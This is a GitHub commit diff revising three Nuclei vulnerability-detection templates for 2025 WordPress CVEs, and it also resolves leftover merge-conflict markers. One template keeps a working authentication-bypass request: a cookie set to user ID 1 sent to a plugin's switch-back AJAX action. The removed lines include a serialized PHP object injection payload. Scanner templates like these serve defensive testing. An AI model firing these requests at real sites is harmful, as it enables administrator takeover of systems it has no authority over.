Skip to content

Commit 6bfd245

Browse files
eyangfeng88-archeyangfeng88-arch
committed
fix: resolve merge conflict and address Neo review feedback
1 parent b385a5a commit 6bfd245

3 files changed

Lines changed: 43 additions & 117 deletions

File tree

‎http/cves/2025/CVE-2025-54738.yaml‎

Lines changed: 15 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -1,66 +1,45 @@
11
id: CVE-2025-54738
22

33
info:
4-
name: Jobmonster Theme <= 4.9.4 - Auth Bypass
4+
name: Jobmonster Theme <= 4.7.9 - Authentication Bypass
55
author: alita-p8
66
severity: critical
77
description: |
8-
The Jobmonster theme for WordPress is vulnerable to authentication bypass in versions up to, and including, 4.9.4. This is due to improper validation of the 'check_login' email parameter, allowing unauthenticated attackers to log in as any user, including administrators.
9-
remediation: Update to version 4.9.5 or later.
8+
The Jobmonster theme for WordPress is vulnerable to authentication bypass in versions up to, and including, 4.7.9. This is due to improper implementation of authentication controls, allowing unauthenticated attackers to bypass normal authentication controls, potentially leading to complete site compromise.
9+
remediation: Update to version 4.8.0 or later.
1010
reference:
1111
- https://nvd.nist.gov/vuln/detail/CVE-2025-54738
12+
- https://patchstack.com/database/Wordpress/Theme/noo-jobmonster/vulnerability/wordpress-jobmonster-theme-4-7-9-broken-authentication-vulnerability
1213
classification:
1314
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1415
cvss-score: 9.8
1516
cve-id: CVE-2025-54738
16-
cwe-id: CWE-287
17+
cwe-id: CWE-288
1718
metadata:
18-
verified: true
19-
max-request: 2
19+
max-request: 1
2020
google-query: inurl:"/wp-content/themes/noo-jobmonster/"
2121
tags: auth-bypass,cve,cve2025,jobmonster,wordpress,wp-theme
2222

2323
http:
24-
- raw:
25-
- |
26-
GET /wp-content/themes/noo-jobmonster/readme.txt HTTP/1.1
27-
Host: {{Hostname}}
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/wp-content/themes/noo-jobmonster/readme.txt"
2827

29-
- |
30-
GET /?noo_jobmonster_check_login=admin@{{Host}} HTTP/1.1
31-
Host: {{Hostname}}
32-
33-
- |
34-
GET /wp-admin/index.php HTTP/1.1
35-
Host: {{Hostname}}
36-
37-
req-condition: true
3828
matchers-condition: and
3929
matchers:
40-
- type: word
41-
part: header_2
42-
words:
43-
- "wordpress_logged_in"
44-
45-
- type: word
46-
part: body_3
47-
words:
48-
- "id=\"wpadminbar\""
49-
- "id=\"wp-admin-bar-logout\""
50-
condition: or
51-
52-
- type: status
53-
status:
54-
- 200
30+
- type: regex
31+
part: body
32+
regex:
33+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"
5534

5635
- type: dsl
5736
dsl:
58-
- '(compare_versions(version, "<= 4.9.4") || !version)'
37+
- 'compare_versions(version, "<= 4.7.9")'
5938

6039
extractors:
6140
- type: regex
6241
name: version
63-
part: body_1
42+
part: body
6443
group: 1
6544
internal: true
6645
regex:

‎http/cves/2025/CVE-2025-5947.yaml‎

Lines changed: 13 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,8 @@
11
id: CVE-2025-5947
22

33
info:
4-
<<<<<<< HEAD
5-
name: Service Finder Bookings - Authentication Bypass
6-
author: sedat4ras
4+
name: Service Finder Bookings <= 6.0 - Authentication Bypass
5+
author: alita-p8
76
severity: critical
87
description: |
98
Service Finder Bookings WordPress plugin <= 6.0 contains a privilege escalation caused by improper validation of user cookie in service_finder_switch_back() function, letting unauthenticated attackers login as any user including admins.
@@ -13,100 +12,54 @@ info:
1312
Update to the latest version beyond 6.0.
1413
reference:
1514
- https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-bookings-plugin-6-0-authentication-bypass-via-user-switch-cookie-vulnerability
16-
- https://github.com/advisories/GHSA-x2xx-4qhp-2vqx
17-
- https://github.com/M4rgs/CVE-2025-5947_Exploit
18-
=======
19-
name: Service Finder Bookings <= 3.5 - Auth Bypass
20-
author: alita-p8
21-
severity: critical
22-
description: |
23-
The Service Finder Bookings plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.5. This is due to insufficient session token validation or manipulation vulnerability, allowing attackers to gain unauthorized access to administrative accounts.
24-
remediation: Update to the latest version available.
25-
reference:
26-
>>>>>>> 5320122 (feat: add 5 high-impact 2025 WordPress CVE templates (Round 5) - Premier Edition)
2715
- https://nvd.nist.gov/vuln/detail/CVE-2025-5947
16+
- https://github.com/advisories/GHSA-x2xx-4qhp-2vqx
2817
classification:
2918
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
3019
cvss-score: 9.8
3120
cve-id: CVE-2025-5947
32-
<<<<<<< HEAD
3321
epss-score: 0.54689
3422
epss-percentile: 0.98038
35-
cwe-id: CWE-639
23+
cwe-id: CWE-287
3624
metadata:
3725
max-request: 2
3826
vendor: sf-booking
3927
product: service-finder-bookings
4028
publicwww-query: "/wp-content/plugins/sf-booking/"
41-
tags: cve,cve2025,wordpress,wp-plugin,wp,sf-booking,auth-bypass,cookie-spoofing,vuln,vkev
42-
=======
43-
cwe-id: CWE-287
44-
metadata:
45-
verified: true
46-
max-request: 2
47-
google-query: inurl:"/wp-content/plugins/service-finder/"
48-
tags: auth-bypass,cve,cve2025,service-finder,wordpress,wp-plugin
49-
>>>>>>> 5320122 (feat: add 5 high-impact 2025 WordPress CVE templates (Round 5) - Premier Edition)
29+
tags: auth-bypass,cve,cve2025,sf-booking,wordpress,wp-plugin
5030

5131
http:
5232
- raw:
5333
- |
54-
<<<<<<< HEAD
34+
GET /wp-content/plugins/sf-booking/readme.txt HTTP/1.1
35+
Host: {{Hostname}}
36+
37+
- |
5538
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
5639
Host: {{Hostname}}
5740
Cookie: original_user_id=1
5841
42+
req-condition: true
5943
matchers-condition: and
6044
matchers:
6145
- type: regex
62-
part: header
46+
part: header_2
6347
regex:
6448
- '(?i)Location:.*\/wp-admin\/'
6549

6650
- type: regex
67-
part: header
51+
part: header_2
6852
regex:
6953
- '(?i)Set-Cookie:.*wordpress_logged_in_'
7054

7155
- type: status
7256
status:
7357
- 301
7458
- 302
75-
# digest: 4a0a0047304502202dd987490128ac522307958861e70fd7dff8b60ac07781a96969804b3f6af657022100d2081f4669434053b4882a114e781d107f0ce6bdc48482628cada5053fcbbd49:922c64590222798bb761d5b6d8e72950
76-
=======
77-
GET /wp-content/plugins/service-finder/readme.txt HTTP/1.1
78-
Host: {{Hostname}}
79-
80-
- |
81-
GET /?service_finder_session_auth=admin HTTP/1.1
82-
Host: {{Hostname}}
83-
84-
- |
85-
GET /wp-admin/index.php HTTP/1.1
86-
Host: {{Hostname}}
87-
88-
req-condition: true
89-
matchers-condition: and
90-
matchers:
91-
- type: word
92-
part: header_2
93-
words:
94-
- "wordpress_logged_in"
95-
96-
- type: word
97-
part: body_3
98-
words:
99-
- "id=\"wpadminbar\""
100-
- "id=\"wp-admin-bar-logout\""
101-
condition: or
102-
103-
- type: status
104-
status:
105-
- 200
10659

10760
- type: dsl
10861
dsl:
109-
- '(compare_versions(version, "<= 3.5") || !version)'
62+
- '(compare_versions(version, "<= 6.0") || !version)'
11063

11164
extractors:
11265
- type: regex
@@ -116,4 +69,3 @@ http:
11669
internal: true
11770
regex:
11871
- "(?i)Stable.tag:\\s*v?([0-9.]+)"
119-
>>>>>>> 5320122 (feat: add 5 high-impact 2025 WordPress CVE templates (Round 5) - Premier Edition)

‎http/cves/2025/CVE-2025-7384.yaml‎

Lines changed: 15 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,51 +1,46 @@
11
id: CVE-2025-7384
22

33
info:
4-
name: Database for Contact Form 7, WPforms, Elementor forms <= 1.4.3 - Unauth RCE via Object Injection
4+
name: Database for Contact Form 7, WPforms, Elementor forms <= 1.4.3 - PHP Object Injection
55
author: alita-p8
66
severity: critical
77
description: |
8-
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 1.4.3 via PHP Object Injection. This allows unauthenticated attackers to execute arbitrary code if a suitable gadget chain is present on the server.
8+
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.4.3 via deserialization of untrusted input in the get_lead_detail function. This allows unauthenticated attackers to inject arbitrary PHP objects. While no known POP chain is present in the vulnerable software itself, exploitation is possible if a suitable gadget chain exists in the target environment.
99
remediation: Update to version 1.4.4 or later.
1010
reference:
1111
- https://nvd.nist.gov/vuln/detail/CVE-2025-7384
1212
- https://www.wordfence.com/threat-intel/vulnerabilities/id/129f810d-ff83-4428-9f98-6a6aa8817783
13+
- https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.4.1/includes/data.php#L525
1314
classification:
1415
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1516
cvss-score: 9.8
1617
cve-id: CVE-2025-7384
1718
cwe-id: CWE-502
1819
metadata:
19-
verified: true
20-
max-request: 2
20+
max-request: 1
2121
shodan-query: http.html:"/wp-content/plugins/contact-form-entries/"
22-
tags: contact-form-entries,cve,cve2025,object-injection,rce,wordpress,wp-plugin
22+
tags: contact-form-entries,cve,cve2025,object-injection,wordpress,wp-plugin
2323

2424
http:
25-
- raw:
26-
- |
27-
GET /wp-content/plugins/contact-form-entries/readme.txt HTTP/1.1
28-
Host: {{Hostname}}
25+
- method: GET
26+
path:
27+
- "{{BaseURL}}/wp-content/plugins/contact-form-entries/readme.txt"
2928

30-
- |
31-
GET /wp-admin/admin-ajax.php?action=v0_download_csv&data=O:8:\"PHP_Code\":0:{} HTTP/1.1
32-
Host: {{Hostname}}
33-
34-
req-condition: true
3529
matchers-condition: and
3630
matchers:
31+
- type: regex
32+
part: body
33+
regex:
34+
- "(?i)Stable.tag:\\s*v?([0-9.]+)"
35+
3736
- type: dsl
3837
dsl:
39-
- '(compare_versions(version, "<= 1.4.3") || !version)'
40-
41-
- type: status
42-
status:
43-
- 200
38+
- 'compare_versions(version, "<= 1.4.3")'
4439

4540
extractors:
4641
- type: regex
4742
name: version
48-
part: body_1
43+
part: body
4944
group: 1
5045
internal: true
5146
regex:

0 commit comments

Comments
 (0)